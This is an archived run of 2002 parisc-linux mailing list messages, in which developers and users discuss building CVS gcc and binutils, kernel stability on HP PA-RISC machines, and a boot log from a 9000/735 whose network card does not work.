Well I finished to co gcc-3.2 and gcc3.1 cvs (that is long with small 33800 baud
modem but that all I can get for cvs)

And I am already back with a problem:

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> You would need to install the cvs binutils and cvs gcc versions in some
> convenient location for the testing. 

Well I just figure out that there is no configure file in cvs of binutils.
So, in the sources directory (/GNU-Dev/parisc-linux/src/binutils) I try autoconf
but it just creates an empty configure?
What do I wrong?


Thanks in advance for additional help,
    Joel


PS: Humm I do not find any glibc CVS so I will test toolchain with glibc 2.2.5.


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some bugs
Date: Thu, 11 Apr 2002 14:40:49 +0100 (IST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0204111432080.16418-100000@sal.ucc.ie>
References: <20020410155841.19DE2482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621231 6195 80.91.229.3 (22 Nov 2014 01:53:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 11 07:40:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D06F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Apr 2002 07:40:58 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id OAA05352;
	Thu, 11 Apr 2002 14:42:12 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020410155841.19DE2482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14571

On Wed, 10 Apr 2002, Grant Grundler wrote:

> "M. Grabert" wrote:
> > But perhaps it's only a h/w issue (incompatibility with switch and
> > network card?).
>
> Possibly. Perhaps just unplugging the cable, wait 5 seconds (or so)
> and plug it back in should force a re-negotiation. Not a great work
> around but perhaps a start.

doesn't work. As somebody other mentioned, no re-negotiation will
work for some strange reason. It was also suggested to set up the
lan configuration in pdc to "100Mbit"; Well, it was already set
to 100Mbit, so I changed it to "Autodetect". Now it seems to work
and re-negotiation also works!

> > Well, yes, maybe, because it's 'mount' specific. But why is it working
> > with the 32bit kernel? I thought this kind of things should be
> > platform-independent ...
>
> I agree - I doubt this is a mount command problem.
> It might be an issue with our 32-bit syscall wrappers in the 64-bit kernels.

I didn't investigate this any further ...

[...]

STIfb support seems to work, I think I was just hallucinating
(or the serial cable was loose). At least it doesn't hang the C240.

The power button works now with 2.4.18-pa16-64! Great work.
Modules also work! I don't see any difference now between in the
behaviour of the 32bit and 64bit version of the kernel ;)

Thanks alot,
   Happy max




From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Thu, 11 Apr 2002 11:31:04 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200204111531.g3BFV5Fv000173@hiauly1.hia.nrc.ca>
References: <1018526304.3cb57a60c2731@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621231 6199 80.91.229.3 (22 Nov 2014 01:53:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 11 09:31:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C26C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Apr 2002 09:31:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3BFV6FN000175;
	Thu, 11 Apr 2002 11:31:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3BFV5Fv000173;
	Thu, 11 Apr 2002 11:31:05 -0400 (EDT)
In-Reply-To: <1018526304.3cb57a60c2731@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Apr 11, 2002 01:58:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14572

> Well I finished to co gcc-3.2 and gcc3.1 cvs (that is long with small 33800 baud
> modem but that all I can get for cvs)
> 
> And I am already back with a problem:
> 
> Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> 
> > You would need to install the cvs binutils and cvs gcc versions in some
> > convenient location for the testing. 
> 
> Well I just figure out that there is no configure file in cvs of binutils.

Remove "configure" and do another checkout.  Use checkout rather than
update since sometimes update has problems in the toplevel directory.

> So, in the sources directory (/GNU-Dev/parisc-linux/src/binutils) I try autoconf
> but it just creates an empty configure?
> What do I wrong?

There are two types of "configure" files.  The toplevel configure script
in binutils (and also gcc) are currently manually maintained.  The
binutils "configure" file isn't autoconf generated.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Thu, 11 Apr 2002 18:35:54 +0200 (CEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <1018542948.3cb5bb6a4053a@webmail.tiscalinet.be>
References: <200204111531.g3BFV5Fv000173@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621231 6202 80.91.229.3 (22 Nov 2014 01:53:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:51 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 11 10:36:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EC22482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Apr 2002 10:36:56 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16vhYL-0006Zr-00; Thu, 11 Apr 2002 18:36:05 +0200
In-Reply-To: <200204111531.g3BFV5Fv000173@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14573

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > Well I finished to co gcc-3.2 and gcc3.1 cvs (that is long with small
> 33800 baud
> > modem but that all I can get for cvs)
> > 
> > And I am already back with a problem:
> > 
> > Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> > 
> > > You would need to install the cvs binutils and cvs gcc versions in
> some
> > > convenient location for the testing. 
> > 
> > Well I just figure out that there is no configure file in cvs of
> binutils.
> 
> Remove "configure" and do another checkout.  Use checkout rather than
> update since sometimes update has problems in the toplevel directory.

I just do another co and effectively configure is there now?
(I also notice the problem of update :_( )

> 
> > So, in the sources directory (/GNU-Dev/parisc-linux/src/binutils) I
> try autoconf
> > but it just creates an empty configure?
> > What do I wrong?
> 
> There are two types of "configure" files.  The toplevel configure
> script
> in binutils (and also gcc) are currently manually maintained.  The
> binutils "configure" file isn't autoconf generated.

Ok.

Dave thanks a lot for info,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SMP instability?
Followup-To: gmane.linux.ports.hppa
Date: Thu, 11 Apr 2002 21:40:12 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020411214012.A2264__2187.4979291626$1416621232$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <59FFD7B1E114D111B4000060082F1C53024B2637@edge1.edge-technologies.com>
Reply-To: parisc-linux@parisc-linux.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621232 6203 80.91.229.3 (22 Nov 2014 01:53:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:52 +0000 (UTC)
Cc: "'debian-hppa@lists.debian.org'" <debian-hppa@lists.debian.org>,
	parisc-linux@parisc-linux.org
To: "D'Ausilio, John" <John.Dausilio@edge-technologies.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 11 14:40:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 351CB482A
	for <parisc-linux@parisc-linux.org>; Thu, 11 Apr 2002 14:40:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16vlMa-00051j-00; Thu, 11 Apr 2002 21:40:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <59FFD7B1E114D111B4000060082F1C53024B2637@edge1.edge-technologies.com>; from John.Dausilio@edge-technologies.com on Thu, Apr 11, 2002 at 03:16:25PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14574

On Thu, Apr 11, 2002 at 03:16:25PM -0400, D'Ausilio, John wrote:
> Is the 2.4.18 which comes down from the archive as recent as the ones in the
> FTP server? I'm going to boot back into the original kernel and try getting
> the latest from the FTP server .. if that dosn't work I guess I'll get the
> sources and build from CVS. Any other hints/clues/suggestions? Should I just
> run single proc for now?

Yes, we've also found 2.4.18 to be unstable SMP.  I believe Grant has a
handle on this problem now, so expect it to be fixed quite soon.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Problems with hppa-gcc (again)
Date: Thu, 11 Apr 2002 23:07:38 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200204120307.g3C37cGs002079@hiauly1.hia.nrc.ca>
References: <20020305194640.GC26587@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621232 6208 80.91.229.3 (22 Nov 2014 01:53:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 11 21:07:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABEF7482A
	for <parisc-linux@parisc-linux.org>; Thu, 11 Apr 2002 21:07:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g3C37eFN002081
	for <parisc-linux@parisc-linux.org>; Thu, 11 Apr 2002 23:07:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g3C37cGs002079;
	Thu, 11 Apr 2002 23:07:38 -0400 (EDT)
In-Reply-To: <20020305194640.GC26587@tausq.org> from "Randolph Chung" at Mar 5, 2002 11:46:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14575

Randolph,

> The error is:
> /usr/bin/ld: layers.o(.text+0x41a28): cannot reach 0000007d_get_all_args+0, recompile with -ffunction-sections
> /usr/bin/ld: layers.o(.text+0x41a28): cannot handle R_PARISC_PCREL17F for get_all_args
> /usr/bin/ld: final link failed: Bad value

I have applied a patch to the gcc 3.2 (experimental) trunk which I believed
fixes the above problem.  It is now possible to compile large objects.
Long calls still may not be optimal but the code should work.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Fri, 12 Apr 2002 13:49:28 +0200 (CEST)
Lines: 71
Approved: news@gmane.org
Message-ID: <1018612168.3cb6c9c8a9afc@webmail.tiscalinet.be>
References: <200204111531.g3BFV5Fv000173@hiauly1.hia.nrc.ca> <1018542948.3cb5bb6a4053a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621232 6210 80.91.229.3 (22 Nov 2014 01:53:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:52 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 12 05:50:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0DF9482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Apr 2002 05:50:14 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16vzYZ-0004xL-00; Fri, 12 Apr 2002 13:49:31 +0200
In-Reply-To: <1018542948.3cb5bb6a4053a@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14576

Hi Dave,

Here am I with something confusing me about glibc building.

In the Carlos O'Donell recipe
(http://www.parisc-linux.org/toolchain/PA-Linux-XC-HOWTO-04.html)

It is set "export PATH=$PATH:$DEST/bin"
So at configure step it was selected gcc-3.0.4 (the last release for hppa-linux box)

Naturally if I put "export PATH=$DEST/bin:$PATH", the configure of glibc select
(for me well) gcc-3.2.

What is the right way? (for me the second)

Thanks for more help,
    Joel

Quoting joel.soete@freebel.net:

> Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> 
> > > Well I finished to co gcc-3.2 and gcc3.1 cvs (that is long with
> small
> > 33800 baud
> > > modem but that all I can get for cvs)
> > > 
> > > And I am already back with a problem:
> > > 
> > > Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> > > 
> > > > You would need to install the cvs binutils and cvs gcc versions
> in
> > some
> > > > convenient location for the testing. 
> > > 
> > > Well I just figure out that there is no configure file in cvs of
> > binutils.
> > 
> > Remove "configure" and do another checkout.  Use checkout rather than
> > update since sometimes update has problems in the toplevel directory.
> 
> I just do another co and effectively configure is there now?
> (I also notice the problem of update :_( )
> 
> > 
> > > So, in the sources directory (/GNU-Dev/parisc-linux/src/binutils) I
> > try autoconf
> > > but it just creates an empty configure?
> > > What do I wrong?
> > 
> > There are two types of "configure" files.  The toplevel configure
> > script
> > in binutils (and also gcc) are currently manually maintained.  The
> > binutils "configure" file isn't autoconf generated.
> 
> Ok.
> 
> Dave thanks a lot for info,
>     Joel
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannes Wenzel <h.wenzel@delphi.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Network card
Date: Fri, 12 Apr 2002 15:35:14 +0200
Organization: Delphi Firmengruppe
Lines: 215
Approved: news@gmane.org
Message-ID: <200204121235.g3CCZvA29052@delphi.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621232 6215 80.91.229.3 (22 Nov 2014 01:53:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 12 06:36:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delphi.at (unknown [62.173.143.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C72B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Apr 2002 06:36:05 -0600 (MDT)
Original-Received: (from uucp@localhost)
	by delphi.at (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) id g3CCZvA29052
	for parisc-linux@lists.parisc-linux.org; Fri, 12 Apr 2002 14:35:57 +0200
Original-Received: from there (pc59.delphi.at [10.1.1.59])
	by asterix.delphi.at (AvMailGate-6.12.0.2) id 29047-434CD1F6;
	Fri, 12 Apr 2002 14:35:22 +0200
X-AntiVirus: OK! AvMailGate Version 6.12.1.27
	 at asterix has not found any known virus in this email.
X-Mailer: KMail [version 1.3.1]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14577

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

hello,

I set up a Apollo Model 735/99 with parisc linux 0.9.3. Installation was ok, 
but I couldn't get the network card running. I don't know what card it is, 
only that it is an eisa card with bnc and aui interfaces.

I include in that message the startup message, hoping there is any hint for 
my problem. I would be very appreciated if I hear anything.

Booting from:     scsi.6.0     MICROP  2112

Hard booted.
palo ipl 0.96 root@smallone Sun Nov 11 23:23:30 UTC 2001

Partition Start(MB) End(MB) Id Type
1               1      15   f0 Palo
2              16    1001   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3122078 bytes @ 0x48000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently  used by firmware (serial).

Command line for kernel: 'root=/dev/sdb2 HOME=/ console=ttyS0 TERM=vt102'
Selected kernel: /boot/vmlinux from partition 2
Opening /boot/vmlinux
Opening /boot/vmlinux-2.4.9-32
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1618208 mediaptr 0x1000
Segment 1 load 0028c000 size 287728 mediaptr 0x18d000
Segment 2 load 002d4000 size 379072 mediaptr 0x1d4000
Segment 3 load 00334000 size 8192 mediaptr 0x231000
Segment 4 load 00338000 size 32768 mediaptr 0x233000
Segment 5 load 003750e8 size 83184 mediaptr 0x23b0e8
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov 30 
19FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model   00002030 00000481 00000000 00000000 78137887 ffffffff 00000004 
0000000a
vers    00000013
CPUID   vers 0 rev 0
model   9000/735
Total Memory: 208 Mb
pagetable_init
On node 0 totalpages: 53248
zone(0): 53248 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sdb2 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 98.71 BogoMIPS
Memory: 206764k available
Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
Searching for devices...
Found devices:
1. Outfield Core BA (11) at 0xf082f000 [2], versions 0x9, 0x0, 0x70
2. Outfield Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x9, 0x0, 0x71
3. Outfield Core HIL (10) at 0xf0821000 [2/0/3], versions 0x9, 0x0, 0x73
4. Outfield Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x9, 0x0, 0x75
5. Outfield Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x9, 0x0, 0x75
6. Outfield Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x9, 0x0, 
0x74
7. Outfield FW SCSI (10) at 0xf0830000 [2/0/7], versions 0x9, 0x0, 0x7c
8. Outfield Audio (10) at 0xf1000000 [2/0/8], versions 0x9, 0x0, 0x7f
9. Outfield FDDI (10) at 0xf0831000 [2/0/9], versions 0x9, 0x0, 0x7d
10. Cobra EISA BA (11) at 0xfc000000 [4], versions 0x4, 0x0, 0x76
11. Hardball (735/99) (0) at 0xfffbe000 [8], versions 0x203, 0x0, 0x4
12. Hardball (1) at 0xfffbf000 [9], versions 0x19, 0x0, 0x9
CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
pty: 256 Unix98 ptys configured
